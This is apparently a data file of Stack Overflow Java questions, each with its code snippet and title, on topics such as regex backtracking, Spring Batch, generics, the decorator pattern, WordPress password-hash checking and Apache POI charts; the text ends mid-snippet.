parameters ?",- name : platform in : query description : `` Platform of the application '' required : true schema : type : string enum : - `` desktop '' - `` online '' platform=online or platform=ONLINE or platform=Online or platform=onLine or ... any other format,Case Insensitive String parameter in schema of openApi +Java,"Hi I 'm wondering if it is possible to access the contents of a HashSet directly if you have the Hashcode for the object you 're looking for , sort of like using the HashCode as a key in a HashMap . I imagine it might work something sort of like this : Thanks ! edit : Thanks for the answers . Okay I understand that I might be pushing the contract of HashSet a bit , but for this particular project equality is solely determined by the hashcode and I know for sure that there will be only one object per hashcode/hashbucket . The reason I was pretty reluctant to use a HashMap is because I would need to convert the primitive ints I 'm mapping with to Integer objects as a HashMap only takes in objects as keys , and I 'm also worried that this might affect performance . Is there anything else I could do to implement something similar with ?",MyObject object1 = new MyObject ( 1 ) ; Set < MyObject > MyHashSet = new HashSet < MyObject > ( ) ; MyHashSet.add ( object1 ) int hash = object1.getHashCodeMyObject object2 = MyHashSet [ hash ] ? ? ?,Accessing a HashSet using the HashCode directly ? ( Java ) +Java,"The question is a bit complicated , and googling did n't really help . I will try to put in only relevant aspects of it.I have a large document in approximately the following format : Sample Input : I am trying to remove the section of the text according to the below : From either of : ABCDEFGHITo either of ( while retaining this word ) : PQRSTUVWXThe words that make up `` From '' can appear anywhere in a line ( Look at GHI ) . But for removal the entire line needs to be removed . ( The entire line containing GHI needs to be removed as in the sample output below ) Sample Output : The above example actually seemed easy for me until I ran it against very large input files ( 49KB ) What I have tried : The regular expression I am currently using is ( with case insensitive and multiline modifier ) : ProblemThe above regexp works wonderfully on small text files . But fails/crashes the engine on large files . I have tried it against the below : V8 ( Node.js ) : HangsRhino : HangsPython : HangsJava : StackoverflowError ( Stack trace posted at the end of this question ) IonMonkey ( Firefox ) : WORKS ! Actual Input : My original Input : http : //ideone.com/W4sZmBMy regular expression ( split across multiple lines for clarity ) : Question : Is my regular expression correct ? Can it be optimized further to avoid this problem ? In case it is correct , why do other engines hang infinitely ? A section of stack trace is below : Stack Trace : PS : I 'm adding several tags to this question since I have tried it on those environments and the experiment failed .",ABC is a word from one line of this document . It is followed bysome random linePQR which happens to be another word.This is just another lineI have to fix my regular expression.Here GHI appears in the middle.This may be yet another line.VWX is a linethis is the last line PQR which happens to be another word.This is just another lineI have to fix my regular expression.VWX is a linethis is the last line ^ . *\b ( abc|def|ghi ) \b ( .|\s ) * ? \b ( pqr|stu|vwx ) \b ^ . *\\b ( patient demographics|electronically signed|md|rn|mspt|crnp|rt ) \\b ( .|\\s ) * ? \\b ( history of present illness|hpi|chief complaint|cc|reason for consult|patientis|inpatient is|inpatientpatient|pt is|pts are|start end frequency user ) \\b Exception in thread `` main '' java.lang.StackOverflowError at java.util.regex.Pattern $ GroupTail.match ( Pattern.java:4218 ) at java.util.regex.Pattern $ BranchConn.match ( Pattern.java:4078 ) at java.util.regex.Pattern $ CharProperty.match ( Pattern.java:3345 ) at java.util.regex.Pattern $ Branch.match ( Pattern.java:4114 ) at java.util.regex.Pattern $ GroupHead.match ( Pattern.java:4168 ) at java.util.regex.Pattern $ LazyLoop.match ( Pattern.java:4357 ) at java.util.regex.Pattern $ GroupTail.match ( Pattern.java:4227 ) at java.util.regex.Pattern $ BranchConn.match ( Pattern.java:4078 ),Node.JS Regex engine fails on large input +Java,"My IntelliJ has been generating private getters for a few weeks now , which is weird because it does not respect the default template : I 've been searching for a while what could cause this but no result . Is this a bug or a feature ?","public # # # if ( $ field.modifierStatic ) static # # # end $ field.type # # # set ( $ name = $ StringUtil.capitalizeWithJavaBeanConvention ( $ StringUtil.sanitizeJavaIdentifier ( $ helper.getPropertyName ( $ field , $ project ) ) ) ) # if ( $ field.boolean & & $ field.primitive ) # if ( $ StringUtil.startsWithIgnoreCase ( $ name , 'is ' ) ) # set ( $ name = $ StringUtil.decapitalize ( $ name ) ) # else is # # # end # else get # # # end $ { name } ( ) { return $ field.name ; }",IntelliJ is generating private getters +Java,I have a spring boot batch working with a MongoDB database to feed a MySQL database.I have approximately half of my database being processed by the program but only something like 200 errors in my logs.The BATCH_STEP_EXECUTION table let me know that the process went well ( status completed ) and display a READ_COUNT of 5692 although I have 11800 documents in the database.Did I forget something in the configuration to prevent from not going through the entire database ? Here is my configuration class :,"@ Configuration @ EnableBatchProcessing @ Import ( PersistenceConfig.class ) public class BatchConfiguration { @ Autowired MongoTemplate mongoTemplate ; @ Autowired SessionFactory sessionFactory ; @ Bean @ StepScope public ItemReader < CourseData > reader ( ) { MongoItemReader < CourseData > mongoItemReader = new MongoItemReader < > ( ) ; mongoItemReader.setTemplate ( mongoTemplate ) ; mongoItemReader.setCollection ( `` foo '' ) ; mongoItemReader.setQuery ( `` { } '' ) ; mongoItemReader.setTargetType ( CourseData.class ) ; Map < String , Sort.Direction > sort = new HashMap < > ( ) ; sort.put ( `` _id '' , Sort.Direction.ASC ) ; mongoItemReader.setSort ( sort ) ; return mongoItemReader ; } @ Bean public ItemProcessor < CourseData , MatrixOne > processor ( ) { return new CourseDataMatrixOneProcessor ( ) ; } @ Bean public ItemWriter < MatrixOne > writer ( ) { HibernateItemWriter writer = new HibernateItemWriter ( ) ; writer.setSessionFactory ( sessionFactory ) ; System.out.println ( `` writing stuff '' ) ; return writer ; } @ Bean public Job importUserJob ( JobBuilderFactory jobs , Step s1 ) { return jobs.get ( `` importRawCourseJob '' ) .incrementer ( new RunIdIncrementer ( ) ) .flow ( s1 ) .end ( ) .build ( ) ; } @ Bean @ Transactional public Step step1 ( StepBuilderFactory stepBuilderFactory , ItemReader < CourseData > reader , ItemWriter < MatrixOne > writer , ItemProcessor < CourseData , MatrixOne > processor ) { return stepBuilderFactory.get ( `` step1 '' ) . < CourseData , MatrixOne > chunk ( 10 ) .reader ( reader ) .processor ( processor ) .writer ( writer ) .build ( ) ; } }",Only half of the MongoDB database is being processed in Spring batch +Java,"I need to create a custom XML file to be used in my Android application , the file will contain some custom objects that are needed in my app , I understand that the I need to put them in the res\xml or res\raw . OK.Now , I would like to be notified at compile time if something is wrong in the XLM : for example : suppose I want to define cats via XML : I would like to know if it is possible to get a compile time warning if i do something like this : ( where barking is not something I have defined my cats can do ) : Is that possible ? Please how can I achieve it ?",< cats > < siamese-cat fur= '' short '' tail= '' 5 '' / > < persian-cat fur= '' short '' tail= '' 5 '' / > < /cats > < cats > < persian-cat barks= '' true '' fur= '' short '' tail= '' 5 '' / > < /cats >,Android : validate xml file at compile time ? +Java,"The task at hand is to create a part of my Java web application which will allow me to easily execute small pieces of codes in a compositionnal manner . The task at hand is to allow the user to compose `` actions '' in any order . What I 'm struggling with is passing parameters to my actions.All starts with the action interface : When the action is resolved , it 's code is executed . The code can be anything : calling a method in Java , executing some Javascript ... Here , the `` context '' is the problem for me . Each action executes within a specific context . The idea is that the user that creates the action can specify which object to retrieve from the concept , for example the user that is resolving the current action , or other objects specified in the action 's specific interface.Example , let 's look at this action : It 's a simple wrapper calling an action in Javascript using Nashorn . The parameters can be anything : objects with specific ids in the DB , int/String/boolean values configured by the user ... The code from an action can look like this : So the action can retrieve runtime parameters ( ex : user that executes the action ... ) and static parameters ( created when the action is loaded - from a config file for instance ) , and all that from the concept . Besides , the user can for example specify references to object in the parameters that will be injected at runtime.Actions can also be nested/decorated in order to achieve full compositionnality . For instance : This allows actions to be created easily : Knowing all this , what is the cleanest well to design the context class ? Should it be splitted into several elements ? The struggle is to inject everything needed to the class at runtime and be sure to not conflict with potential wrapped actions.The Context basic implementation is responsible for : retrieving any object from the DB at runtimeproviding static parameters to the action developpers holding a transaction and givingit access to the user merging runtime and static concept , and thiseven in a wrapper ( ex : if a parent action calls a child action , theuser that executes the action must still be known so context shouldmerge static child parameters and runtime parameters such as theuser ) I feel it is doing too much . The design is affected by the Concept classes owning much responsabilities and their should be fragmented ( right now every part of the application is linked to the concept ) . But how ? Here 's what I try to achieve in clean coding : the action interface should be kept simple ( 1 method max , with areasonnable number of parameters ) no usage of static mechanismsmaximum immutabilityIn a true object-oriented way , and method oriented , how to solve this specific design problem ? edit : removed public declarator in method in interfaceedit 2 : I had a lot of interesting solutions , but the one that made the more sense to me was the one in which each action is parametrized with a specific kind of Context.I reorganized things as such : Action interface has still only one method , to resolve the action with the contextStatic parameters of the actions , may they be DB or otherwise , are loaded when the action is created ( user session ) The context is just a facade for diverse operations ( transaction ... ) + specialized operations , like the user of the action","public interface Action { void resolve ( Context context ) ; } public final class ActionScript implements Action { private final Parameters parameters ; private final String methodName ; private final ScriptsLibrary library ; public ActionScript ( ScriptsLibrary library , String methodName , Parameters parameters ) { this.parameters = parameters ; this.library = library ; this.methodName = methodName ; } @ Override public void resolve ( Context context ) { try { ( ( Invocable ) library.getEngine ( ) ) .invokeFunction ( methodName , context ) ; } catch ( ScriptException | NoSuchMethodException ex ) { throw new RuntimeException ( ex ) ; } } } public class DummyAction implements Action { @ Override public void resolve ( Context context ) { User userExecutingTheAction = context.get ( `` ExecutingUser '' ) ; System.out.println ( `` User `` + userExecutingTheAction ) ; } } public class DummyWrapperAction implements Action { private final Action wrappedAction ; public DummyWrapperAction ( Action wrappedAction ) { this.wrappedAction = wrappedAction ; } @ Override public void resolve ( Context context ) { System.out.println ( `` Before '' ) ; wrappedAction.resolve ( context ) ; System.out.println ( `` After '' ) ; } } // executes specific action 1 or specific action 2 based on a conditionAction myAction = new LoggingAction ( new ConditionalAction ( new Condition ( 3 ) , new SpecificAction1 ( ) , new SpecificAction2 ( ) ) ) ;",How to design a generic action class while keeping clean programming practices ? +Java,"I 'm trying to use JTidy to pretty print a well formed HTML generated by the user : This is my config : But jTidy is removing my AngularJS datasource directive . Is there a way to workarround this issue ? I 'm getting this from the log : Removing tidy.setXHTML ( true ) or setting it to false and adding tidy.setXmlTags ( true ) actually solve this issue and it start to consider user defined tags , but this is not a good solution because JTidy starts trying to close self enclosing tags.I need a formatter for a text editor . I ca n't assure what directives our users will define and use . It must be a generic solution which works for any user defined directive",< div class= '' component-holder ng-binding ng-scope ui-draggable ui-draggable-handle '' data-component= '' cronos-datasource '' id= '' cronos-datasource-817277 '' > < datasource name= '' '' entity= '' '' key= '' '' endpoint= '' '' rows-per-page= '' '' > < i class= '' cpn cpn-datasource '' > < /i > < /datasource > < /div > Tidy tidy = new Tidy ( ) ; tidy.setXHTML ( true ) ; tidy.setIndentContent ( true ) ; tidy.setPrintBodyOnly ( true ) ; tidy.setTidyMark ( false ) ; tidy.setWraplen ( 2000 ) ; tidy.setDropProprietaryAttributes ( false ) ; tidy.setDropEmptyParas ( false ) ; tidy.setTrimEmptyElements ( false ) ; line 1 column 191 - Error : < datasource > is not recognized ! line 1 column 191 - Warning : discarding unexpected < datasource > < ! -- this code -- > < img src= '' anythig.jpg '' / > < div id= '' anyid '' > < /div > < ! -- will become -- > < img src= '' anythig.jpg '' > < div id= '' anyid '' > < /div > < /img >,jTidy pretty print custom HTML tag +Java,"Let 's say that I have two classes ( Bob and Tom ) such that Bob uses Tom , but Tom does not require Bob . Both of these files are located in the same directory structure.If I attempt to compile Bob in the typical fashion , I can get it to implicitly compile Tom.java as well since it is recognized as a dependency of Bob.java . That works great . But now let 's say that I want to place Tom in a JAR file . So I build Tom.java and place the results into a JAR file : libTom.jar . I now compile with the classpath pointing at libTom.jar . Unfortunately , the compiler sees the Tom.java file and causes it to be compiled rather than using the class in libTom.jar . Is there a way to get the compiler to skip the implicit construction of Tom.java if the class is found in the classpath ? I recognize that this example is fairly contrived . Rest assured that there is a more complicated , less contrived use-case that surrounds this issue . Thanks .",public class Bob { public static void main ( String [ ] args ) { System.out.println ( Tom.MESSAGE ) ; } } public class Tom { public static String MESSAGE = `` Hello World '' ; },How do I prevent implicit Java compilation when the class exists in the classpath ? +Java,"I want to execute multiple DB queries parallelly and store the results in a map . I am trying to do it like this but the map is not getting populated completely when I am accessing the map.Am I doing anything wrong ? Any help will be much appreciated , thanks in advance .","public Map < MapKeyEnums , Set < String > > doDBCalls ( String phoneNumber , long timestamp ) { Map < MapKeyEnums , Set < String > > instrumentsEdgesMap = new EnumMap < > ( MapKeyEnums.class ) ; CompletableFuture.supplyAsync ( ( ) - > dbReadService.getCall ( phoneNumber , PhoneNumber.class , `` ABC '' , timestamp ) ) . thenApply ( x - > instrumentsEdgesMap.put ( MapKeyEnums.ABC , x ) ) ; CompletableFuture.supplyAsync ( ( ) - > dbReadService.getCall ( phoneNumber , PhoneNumber.class , `` XYZ '' , timestamp ) ) . thenApply ( x - > instrumentsEdgesMap.put ( MapKeyEnums.XYZ , x ) ) ; CompletableFuture.supplyAsync ( ( ) - > dbReadService.getCall ( phoneNumber , PhoneNumber.class , `` DEF '' , timestamp ) ) . thenApply ( x - > instrumentsEdgesMap.put ( MapKeyEnums.DEF , x ) ) ; return instrumentsEdgesMap ; }",CompletableFuture to execute multiple DB queries asynchronously +Java,"What I need is to detect the right swipe of the item and display some activity.I did prev . investigation but it not seems to obvious to catch correct solution.Please , help me.My code is following .","public class FragmentTwo extends ListFragment { public FragmentTwo ( ) { } @ Override public View onCreateView ( LayoutInflater inflater , ViewGroup container , Bundle savedInstanceState ) { View view = inflater.inflate ( R.layout.fragment_fragment_two , container , false ) ; return view ; } @ Override public void onActivityCreated ( Bundle savedInstanceState ) { super.onActivityCreated ( savedInstanceState ) ; ListView listView = getListView ( ) ; listView.setOnTouchListener ( new View.OnTouchListener ( ) { @ Override public boolean onTouch ( View v , MotionEvent event ) { if ( event.getAction ( ) == MotionEvent.ACTION_UP ) { Toast.makeText ( getContext ( ) , '' ACTION_UP '' , Toast.LENGTH_SHORT ) .show ( ) ; return true ; } if ( event.getAction ( ) == MotionEvent.ACTION_DOWN ) { Toast.makeText ( getContext ( ) , '' ACTION_DOWN '' , Toast.LENGTH_SHORT ) .show ( ) ; return true ; } if ( event.getAction ( ) == MotionEvent.ACTION_MOVE ) { Toast.makeText ( getContext ( ) , '' ACTION_MOVE '' , Toast.LENGTH_SHORT ) .show ( ) ; return true ; } return false ; } } ) ; new FetchTransportData ( ) .execute ( ) ; } private class FetchTransportData extends AsyncTask < Void , Void , String > { @ Override protected String doInBackground ( Void ... params ) { // ... return result ; } @ Override protected void onPostExecute ( String s ) { super.onPostExecute ( s ) ; // ... CustomListAdapter adapter = new CustomListAdapter ( getActivity ( ) , unitViews ) ; setListAdapter ( adapter ) ; } } }",How to implement right swipe in ListFragment with Custom Item Adapter ? +Java,"I want to write the equivalent Java code of a C # code.My C # code is as follows : Java equivalent of my code looks like this.Here the `` new ( ) '' syntax in class declaration forces derived classes to write a default constructer which makes possible to call `` new T ( ) '' from base class . In other words when i am wrting the base class i am sure that the derived class will have a default constructer , so that i can instantiate a derived class object from base class.My problem in Java is , I can not instantiate a derived class object from super class . I get `` Can not instantiate the type T '' error for `` new T ( ) '' call . Is there any C # similar way in Java or should I use something like prototype pattern and cloning ?","public abstract class A < T > where T : A < T > , new ( ) { public static void Process ( ) { Process ( new T ( ) ) ; } public static void Process ( T t ) { // Do Something ... } } public class B : A < B > { } public class C : A < C > { } public abstract class A < T extends A < T > > { public static < T extends A < T > > void process ( ) { process ( new T ( ) ) ; // Error : Can not instantiate the type T } public static < T extends A < T > > void process ( T t ) { // Do Something ... } public class B extends A < B > { } public class C extends A < C > { } }",Java : Create an object whose type is a type parameter +Java,"I want to understand if volatile is needed to publish immutable objects.For example , assuming we have an immutable object A : Then we have a class B that is accessed from different threads . It holds a reference to an object of class A : From my reading it seems immutable objects can be safely published through any means , so does that mean we do n't need to declare toShare as volatile to ensure its memory visibility ?","// class A is immutableclass A { final int field1 ; final int field2 ; public A ( int f1 , int f2 ) { field1 = f1 ; field2 = f2 ; } } // class B publishes object of class A through a public filedclass B { private /* volatile ? */ A toShare ; // this getter might be called from different threads public A getA ( ) { return toShare ; } // this might be called from different threads public void setA ( num1 , num2 ) { toShare = new A ( num1 , num2 ) ; } }",Safe publication of immutable objects in Java +Java,"I have a JSP file with links like below : And I have an action class LinkAction.java : The problem is that it does n't work . But when I change it to something like this , it works only for the signUp action.I also tried changing it to Here is my struts-config.xmlI want to use this single action file for all the links in my web page . How do I do it ?","< a href= '' links.do ? method=homeAdmin '' > < a href= '' links.do ? method=signUp '' > public class LinkAction extends org.apache.struts.action.Action { public ActionForward signUp ( ActionMapping mapping , ActionForm form , HttpServletRequest request , HttpServletResponse response ) throws Exception { return mapping.findForward ( `` signUp '' ) ; } public ActionForward homeAdmin ( ActionMapping mapping , ActionForm form , HttpServletRequest request , HttpServletResponse response ) throws Exception { return mapping.findForward ( `` homeAdmin '' ) ; } } public class LinkAction extends org.apache.struts.action.Action { @ Override public ActionForward execute ( ActionMapping mapping , ActionForm form , HttpServletRequest request , HttpServletResponse response ) throws Exception { return mapping.findForward ( `` signUp '' ) ; } } public class LinkAction extends DispatchAction { ... } < action input= '' /index.jsp '' name= '' signUp '' path= '' /links '' scope= '' session '' type= '' Actions.LinkAction '' > < forward name= '' signUp '' path= '' /signUp.jsp '' / > < forward name= '' homeAdmin '' path= '' /homeAdmin.jsp '' / > < /action >",pass link value to bean +Java,I want to sort a Map based on values alphabetically and ignoring case sensitivity and return the list of Keys.How can I achieve this ? Note : Suggestions are welcomed on if I can improve above piece of code .,"/** * This method will sort allCostPlanDetailsRows based on Value in < Key , Value > pair * * @ param sortingOrder_ whether to sort the LinkedHashMap in Ascending order or Descending order * @ return List < String > returns List of costPlanDetailsRowId in sorted order */ private List < String > sortCostPlanDetailRows ( SortingOrder sortingOrder_ ) { return _allCostPlanDetailRows .entrySet ( ) .stream ( ) .sorted ( sortingOrder_ == SortingOrder.DESC ? Map.Entry. < String , String > comparingByValue ( Comparator.nullsFirst ( Comparator.naturalOrder ( ) ) ) .reversed ( ) : Map.Entry.comparingByValue ( Comparator.nullsFirst ( Comparator.naturalOrder ( ) ) ) ) .map ( Map.Entry : :getKey ) .collect ( Collectors.toList ( ) ) ; }",Java-8 : How to sort Map ( based on values ) using Map.Entry # comparingByValue while ignoring case sensitivity ? +Java,"I was looking at this wikipedia article , and could n't understand how the hell that was working . A little bit frustrated not being able to understand the code just by looking at it , i dedided to port the code to c # ( i 'm .net , sorry guys : ) ) . Just some minor modifications were needed ( inherits and extends , base for super , etc ) and run the app . To my surprise , i got the following output : Just curious , can any java dev tell me what 's different here and why the wikipedia example works ( if it does work as they say it does , of course ) .","Cost : 1 Ingredient : CoffeeCost : 1 Ingredient : CoffeeCost : 1 Ingredient : CoffeeCost : 1 Ingredient : Coffee namespace ConsoleApplication1 { class Program { static void Main ( string [ ] args ) { Coffee sampleCoffee = new SimpleCoffee ( ) ; Console.WriteLine ( `` Cost : `` + sampleCoffee.getCost ( ) + `` Ingredient : `` + sampleCoffee.getIngredient ( ) ) ; sampleCoffee = new Milk ( sampleCoffee ) ; Console.WriteLine ( `` Cost : `` + sampleCoffee.getCost ( ) + `` Ingredient : `` + sampleCoffee.getIngredient ( ) ) ; sampleCoffee = new Sprinkles ( sampleCoffee ) ; Console.WriteLine ( `` Cost : `` + sampleCoffee.getCost ( ) + `` Ingredient : `` + sampleCoffee.getIngredient ( ) ) ; sampleCoffee = new Whip ( sampleCoffee ) ; Console.WriteLine ( `` Cost : `` + sampleCoffee.getCost ( ) + `` Ingredient : `` + sampleCoffee.getIngredient ( ) ) ; Console.ReadKey ( ) ; } } //The Coffee Interface defines the functionality of Coffee implemented by decoratorpublic interface Coffee { double getCost ( ) ; // returns the cost of coffee String getIngredient ( ) ; //returns the ingredients mixed with coffee } //implementation of simple coffee without any extra ingredientspublic class SimpleCoffee : Coffee { double cost ; String ingredient ; public SimpleCoffee ( ) { cost = 1 ; ingredient = `` Coffee '' ; } public double getCost ( ) { return cost ; } public String getIngredient ( ) { return ingredient ; } } //abstract decorator class - note that it implements coffee interfaceabstract public class CoffeeDecorator : Coffee { protected Coffee decoratedCoffee ; protected String ingredientSeparator ; public CoffeeDecorator ( Coffee decoratedCoffee ) { this.decoratedCoffee = decoratedCoffee ; ingredientSeparator = `` , `` ; } public CoffeeDecorator ( ) { } public double getCost ( ) //note it implements the getCost function defined in interface Coffee { return decoratedCoffee.getCost ( ) ; } public String getIngredient ( ) { return decoratedCoffee.getIngredient ( ) ; } } //Decorator Milk that mixes milk with coffee//note it extends CoffeeDecoratorpublic class Milk : CoffeeDecorator { double cost ; String ingredient ; public Milk ( Coffee decoratedCoffee ) : base ( decoratedCoffee ) { cost = 0.5 ; ingredient = `` Milk '' ; } public double getCost ( ) { return base.getCost ( ) + cost ; } public String getIngredient ( ) { return base.getIngredient ( ) + base.ingredientSeparator + ingredient ; } } //Decorator Whip that mixes whip with coffee//note it extends CoffeeDecoratorpublic class Whip : CoffeeDecorator { double cost ; String ingredient ; public Whip ( Coffee decoratedCoffee ) : base ( decoratedCoffee ) { cost = 0.7 ; ingredient = `` Whip '' ; } public double getCost ( ) { return base.getCost ( ) + cost ; } public String getIngredient ( ) { return base.getIngredient ( ) + base.ingredientSeparator + ingredient ; } } //Decorator Sprinkles that mixes sprinkles with coffee//note it extends CoffeeDecoratorpublic class Sprinkles : CoffeeDecorator { double cost ; String ingredient ; public Sprinkles ( Coffee decoratedCoffee ) : base ( decoratedCoffee ) { cost = 0.2 ; ingredient = `` Sprinkles '' ; } public double getCost ( ) { return base.getCost ( ) + cost ; } public String getIngredient ( ) { return base.getIngredient ( ) + base.ingredientSeparator + ingredient ; } } }",Decorator Pattern question C # / java +Java,what is the difference between the following declarations : By default is allocates it with 10 . But is there any difference ? Can I add an 11th element to list2 by list2.add ( `` something '' ) ?,List list1 = new ArrayList ( ) ; List list2 = new ArrayList ( 10 ) ;,Difference between implicit and explicit ArrayList size declarations ? +Java,"I have a database of hashed Wordpress passwords . I am trying to check a user 's password against the database stored password , but the hashes are n't correct . I am using this github code with some logging in isMatch ( ) . Any ideas why these passwords do n't match ? the plain text password is alberta10Here is my authenticate ( ) methodHeres the log output :","public boolean isMatch ( String password , String storedHash ) { // The first 12 digits of the hash is used to modify the encryption . String setting = storedHash.substring ( 0 , 12 ) ; logger.log ( Level.INFO , `` -- -- Hashed pwd from db is : `` +storedHash ) ; logger.log ( Level.INFO , `` -- -- Hashed pwd using php-pass : `` +encrypt ( password , setting ) ) ; return storedHash.equals ( encrypt ( password , setting ) ) ; } private void authenticate ( String username , String password ) throws Exception { // Throw an Exception if the credentials are invalid PasswordHasher pwdHasher=new PasswordHasher ( ) ; _logger.log ( Level.INFO , `` -- -- Authenticating user : `` +username ) ; try { Connection conn=authenticationBiz.connWordpressDB ( ) ; String query = `` SELECT * FROM wp_users WHERE user_login = ? `` ; PreparedStatement preparedStmt = conn.prepareStatement ( query ) ; preparedStmt.setString ( 1 , username ) ; ResultSet rs=preparedStmt.executeQuery ( ) ; rs.next ( ) ; //get first result _logger.log ( Level.INFO , `` -- -- Hashed pwd from db is : `` +rs.getString ( `` user_pass '' ) ) ; if ( pwdHasher.isMatch ( password , rs.getString ( `` user_pass '' ) ) ) return ; } catch ( Exception e ) { _logger.log ( Level.INFO , `` -- -- Exception in Authenticating user : `` +e ) ; throw e ; } throw new Exception ( ) ; } -- -- Hashed pwd from db is : $ P $ BeatnTVG2/U8KZwpaWbPUF4yghHEKf . 17:21:40,997 INFO [ com.mollom.phpass ] ( default task-37 ) -- -- Hashed pwd from db is : $ P $ BeatnTVG2/U8KZwpaWbPUF4yghHEKf . -- -- Hashed pwd using php-pass : $ P $ BeatnTVG2etvrth3rlCUdiNRm93PO9xZjXNr1f5s8izUZFfIq70V",Trying to check a wordpress password hash using phpass +Java,"Java 8 introduces a new default method on the List interface to sort it . It 's signature is : The documentation says : If the specified comparator is null then all elements in this list must implement the Comparable interface and the elements ' natural ordering should be used.So if you want to sort the list by it 's natural order ( and that your elements are comparable ) you have to do list.sort ( null ) ; which is kind of weird of my opinion.If they used an Optional the doc would stated that you can optionally provide a comparator , and that if it 's not provided it will assume the elements are already comparable . A list.sort ( null ) ; call would be transformed into list.sort ( Optional.empty ( ) ) ; .As it 's a method that it exposed to the outside world , I would find it more accurate.Why did n't they used the new Optional API instead ?",void sort ( Comparator < ? super E > c ),Why list.sort does not use the Optional API +Java,"I read article with nice exercise about checking is string is a substring of another . The content of the exercise is : Write a program that takes 2 string parameters from the command line . Program must verify if the second string is a substring of the first string ( you can not use substr , substring or any other standard function including regular expression libraries ) . Each occurrence of * in the second substring means that it can be a match for zero or more characters of the first string . Consider the example : Input string 1 : abcd Input string 2 : a*c Program should evaluate that the string 2 is a substring of the string 1 . Additionally asterisk ( * ) may be considered as a regular character , if it is preceded by a backslash ( \ ) . Backslash ( \ ) is considered as a regular character in all cases other than preceding the asterisk ( * ) .I wrote simple app , which firstly check that second string is NOT longer than first ( but there is one problem , when test at ( `` ab '' , `` a*b '' ) this is correct test , but the method fails ) : ... and next verify is a subtring : But there are two problems : My code as above does not support character continuity ( for example test : checkSubstring ( `` abacd '' , `` bcd '' ) return true , but it is wrong ! - should return false ) Any idea how to verify special symbol as `` \* '' ? Sample to test ( checkSubstring ( `` abc '' , `` \b '' ) How is Your vision of solution ? : )","public static boolean checkCharactersCount ( String firstString , String secondString ) { return ( firstString.length ( ) > 0 & & secondString.length ( ) > 0 ) & & ( firstString.length ( ) > secondString.length ( ) ) ; public static boolean checkSubstring ( String firstString , String secondString ) { int correctCharCounter = 0 ; int lastCorrectCharAtIndex = -1 ; for ( int i = 0 ; i < secondString.length ( ) ; i++ ) { for ( int j = 0 ; j < firstString.length ( ) ; j++ ) { if ( j > lastCorrectCharAtIndex ) { if ( ( secondString.charAt ( i ) == firstString.charAt ( j ) ) || secondString.charAt ( i ) == '* ' ) { correctCharCounter++ ; lastCorrectCharAtIndex = j ; } if ( correctCharCounter > = secondString.length ( ) ) return true ; } } } return false ; }",Check if a string is a substring of another string +Java,"I 'm writing an android soundboard which allow the user to create multiple desktop widgets , one for each sound . I 'm using an activity for the user to choose which sound he wants to create the widget for . For each widget created I store a shared preference in the form ofTo play the sounds , I did override the onRecieve method on the widgetProvider class . When the desktop widget is clicked , it triggers a broadcast to this method , which gets the widget id from the intent and then loads the shared preference associated with the widget : The problem is : The widgetId is always the same , no matter which widget is clicked , causing the same sound to be played.Any idea or guidance on this ?","key = > `` WIDGET_FILENAME_ '' +widgetId , value= > fileName int appWidgetId = intent.getIntExtra ( AppWidgetManager.EXTRA_APPWIDGET_ID , AppWidgetManager.INVALID_APPWIDGET_ID ) ;",Android - Multiple appWidgets playing different sounds +Java,"can I has fulltext autocompletion for Java @ Eclipse ? Let 's demonstrate : Final piece of code : How do I code now : getv [ ctrl+space ] .a [ Enter ] new V [ ctrl+space , down arrow , Enter ] M [ Ctrl+Space , Enter ] .text_xBasically , Eclipse completes word `` TEXT_XML '' when I provide letters `` TEXT_X '' .How would I like to code : getv [ ctrl+space ] .a [ Enter ] new V [ ctrl+space , down arrow , Enter ] M [ Ctrl+Space , Enter ] .xmland Eclipse should realise I meant `` TEXT_XML '' ( fulltext autocompletion ) .",getVariants ( ) .add ( new Variant ( MediaType.TEXT_XML ) ) ;,Eclipse : Fulltext autocompletion for Java ? +Java,"Well , I have read a lot of answers to this question , but I have a more specific one . Take the following snippet of code as an example.After type erasure , it becomesThis snippet of code seems to work well . Why does it cause a compile-time error ? In addition , I have known from other answers that the following codes work well for the same purpose.I 've read some comments saying that the piece of code above is unsafe , but why is it unsafe ? Could anyone provide me with a specific example where the above piece of code causes an error ? In addition , the following code is wrong as well . But why ? It seems to work well after erasure , too .",public class GenericArray < E > { E [ ] s= new E [ 5 ] ; } public class GenericArray { Object [ ] s= new Object [ 5 ] ; } public class GenericArray < E > { E [ ] s= ( E [ ] ) new Object [ 5 ] ; } public class GenericArray < E > { E s= new E ( ) ; },Why ca n't I create an array of a type parameter in Java ? +Java,"In Java , as far as I 'm aware , a child class does NOT inherit a constructor that has arguments.E.g.The only way to fix it is to create a useless pass-through constructor in Child class : Problem : If I have a complex hierarchy of subclasses , with 6-10 subclasses , adding such a meaningless pass-through constructor with arguments to every single one of subclasses seems to be a bad idea ! The code plain out looks stupid ( 10 copies of same method in 10 classes ) Worse , as with ANY code repetition , the code becomes fragile - any change ( e.g . adding 1 more parameter ) needs to be made in 10 places instead of one.Question : Is there a way to avoid this issue for a large class hierarchy ? Note : I 'm aware of one solution ( have a setter , that has to be called separate from constructor ) for the parameters . But this solution has several big downsides and is n't acceptable because of them .",public class Parent { public Parent ( int x ) { DoSomethingWithX ( x ) ; } } public class Child extends Parent { // Compile fails with `` Implicit super constructor Parent ( ) is undefined // for default constructor . Must define an explicit constructor } public class Child extends Parent { public Child ( int x ) { super ( x ) ; } },How can I avoid creating useless pass-through constructors in child classes just to pass arguments to `` super ( ) '' ? +Java,"I have one workbook that has some data in it . I am taking that workbook and creating another workbook with a line chart in it based off of the data in the other workbook . The code runs fine , but whenever I open up the graph file , I get the warning We ca n't update some of the links in your workbook right now . If I click the Edit Links ... button in the warning menu , it shows that the data workbook can not be found . If I click on Change Source ... , and select the proper workbook , it then works fine . Why is this ? Can POI not retain the link between the two files ? My code : To create the data workbook : To create the graph workbook :","public static XSSFWorkbook createDataSpreadsheet ( String name , long [ ] data ) { XSSFWorkbook workbook = new XSSFWorkbook ( ) ; XSSFSheet sheet = workbook.createSheet ( name ) ; int rowNumber = 0 ; for ( int i = 1 ; i < data.length + 1 ; i++ ) { Row row = sheet.createRow ( rowNumber++ ) ; int columnNumber = 0 ; row.createCell ( columnNumber++ ) .setCellValue ( i ) ; row.createCell ( columnNumber++ ) .setCellValue ( data [ i - 1 ] ) ; } return workbook ; } public static XSSFWorkbook createLineChart ( String name , XSSFWorkbook data ) { XSSFWorkbook workbook = new XSSFWorkbook ( ) ; XSSFSheet sheet = workbook.createSheet ( name ) ; XSSFDrawing drawing = sheet.createDrawingPatriarch ( ) ; XSSFClientAnchor anchor = drawing.createAnchor ( 